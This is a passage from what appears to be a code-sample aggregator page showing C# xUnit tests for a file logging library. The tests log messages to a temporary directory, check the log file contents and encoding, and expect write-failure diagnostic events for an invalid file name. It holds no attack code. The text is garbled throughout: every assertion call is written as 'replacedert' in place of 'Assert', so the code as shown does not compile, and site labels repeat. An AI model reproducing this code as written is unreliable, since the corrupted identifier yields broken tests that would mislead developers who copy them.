replacedert.True(providers.All(provider => provider.Completion.IsCompleted));
}
replacedert.False(diagnosticEventReceived);
IFileInfo logFile = fileProvider.GetFileInfo($"{logsDirName}/test-{context.GetTimestamp().ToLocalTime():yyMMdd}.log");
replacedert.True(logFile.Exists && !logFile.IsDirectory);
var lines = logFile.ReadAllText(out Encoding encoding).Split(new[] { Environment.NewLine }, StringSplitOptions.None);
replacedert.Equal(Encoding.Unicode, encoding);
replacedert.Equal(new[]
{
$"info: {typeof(LoggingTest)}[0] @ {context.GetTimestamp().ToLocalTime():o}",
$" This is a nice logger.",
$"warn: {typeof(LoggingTest)}[1] @ {context.GetTimestamp().ToLocalTime():o}",
$" This is a smart logger.",
""
}, lines);
logFile = fileProvider.GetFileInfo(
$"{logsDirName}/logger-{context.GetTimestamp().ToLocalTime():yyMMdd}.log");
replacedert.True(logFile.Exists && !logFile.IsDirectory);
lines = logFile.ReadAllText(out encoding).Split(new[] { Environment.NewLine }, StringSplitOptions.None);
replacedert.Equal(Encoding.Unicode, encoding);
replacedert.Equal(new[]
{
$"fail: X[0] @ {context.GetTimestamp().ToLocalTime():o}",
$" Some failure!",
}
.Concat(ex.ToString().Split(new[] { Environment.NewLine }, StringSplitOptions.None))
.Append(""), lines);
}
finally
{
if (Directory.Exists(logPath))
Directory.Delete(logPath, recursive: true);
}
}
19
View Source File : LoggingTest.cs
License : MIT License
Project Creator : adams85
License : MIT License
Project Creator : adams85
[Fact]
public async Task LoggingToPhysicalUsingDIAndExpectingDiagnosticEvents()
{
var logsDirName = Guid.NewGuid().ToString("D");
var tempPath = Path.Combine(Path.GetTempPath());
var logPath = Path.Combine(tempPath, logsDirName);
var fileProvider = new PhysicalFileProvider(tempPath);
var cts = new CancellationTokenSource();
var context = new TestFileLoggerContext(cts.Token, completionTimeout: Timeout.InfiniteTimeSpan);
context.SetTimestamp(new DateTime(2017, 1, 1, 0, 0, 0, DateTimeKind.Utc));
var diagnosticEvents = new List<IFileLoggerDiagnosticEvent>();
context.DiagnosticEvent += diagnosticEvents.Add;
var services = new ServiceCollection();
services.AddOptions();
services.AddLogging(b => b.AddFile(context, o =>
{
o.FileAppender = new PhysicalFileAppender(fileProvider);
o.BasePath = logsDirName;
o.FileAccessMode = LogFileAccessMode.KeepOpen;
o.Files = new[]
{
new LogFileOptions
{
Path = "<invalid_filename>.log"
}
};
}));
if (Directory.Exists(logPath))
Directory.Delete(logPath, recursive: true);
try
{
FileLoggerProvider[] providers;
using (ServiceProvider sp = services.BuildServiceProvider())
{
providers = context.GetProviders(sp).ToArray();
replacedert.Equal(1, providers.Length);
ILogger<LoggingTest> logger1 = sp.GetService<ILogger<LoggingTest>>();
logger1.LogInformation("This is a nice logger.");
logger1.LogWarning(1, "This is a smart logger.");
cts.Cancel();
// ensuring that all entries are processed
await context.GetCompletion(sp);
replacedert.True(providers.All(provider => provider.Completion.IsCompleted));
}
replacedert.NotEmpty(diagnosticEvents);
replacedert.All(diagnosticEvents, e =>
{
replacedert.IsType<FileLoggerDiagnosticEvent.LogEntryWriteFailed>(e);
replacedert.IsType<FileLoggerProcessor>(e.Source);
replacedert.NotNull(e.FormattableMessage);
replacedert.NotNull(e.Exception);
});
}
finally
{
if (Directory.Exists(logPath))
Directory.Delete(logPath, recursive: true);
}
}
See More Examples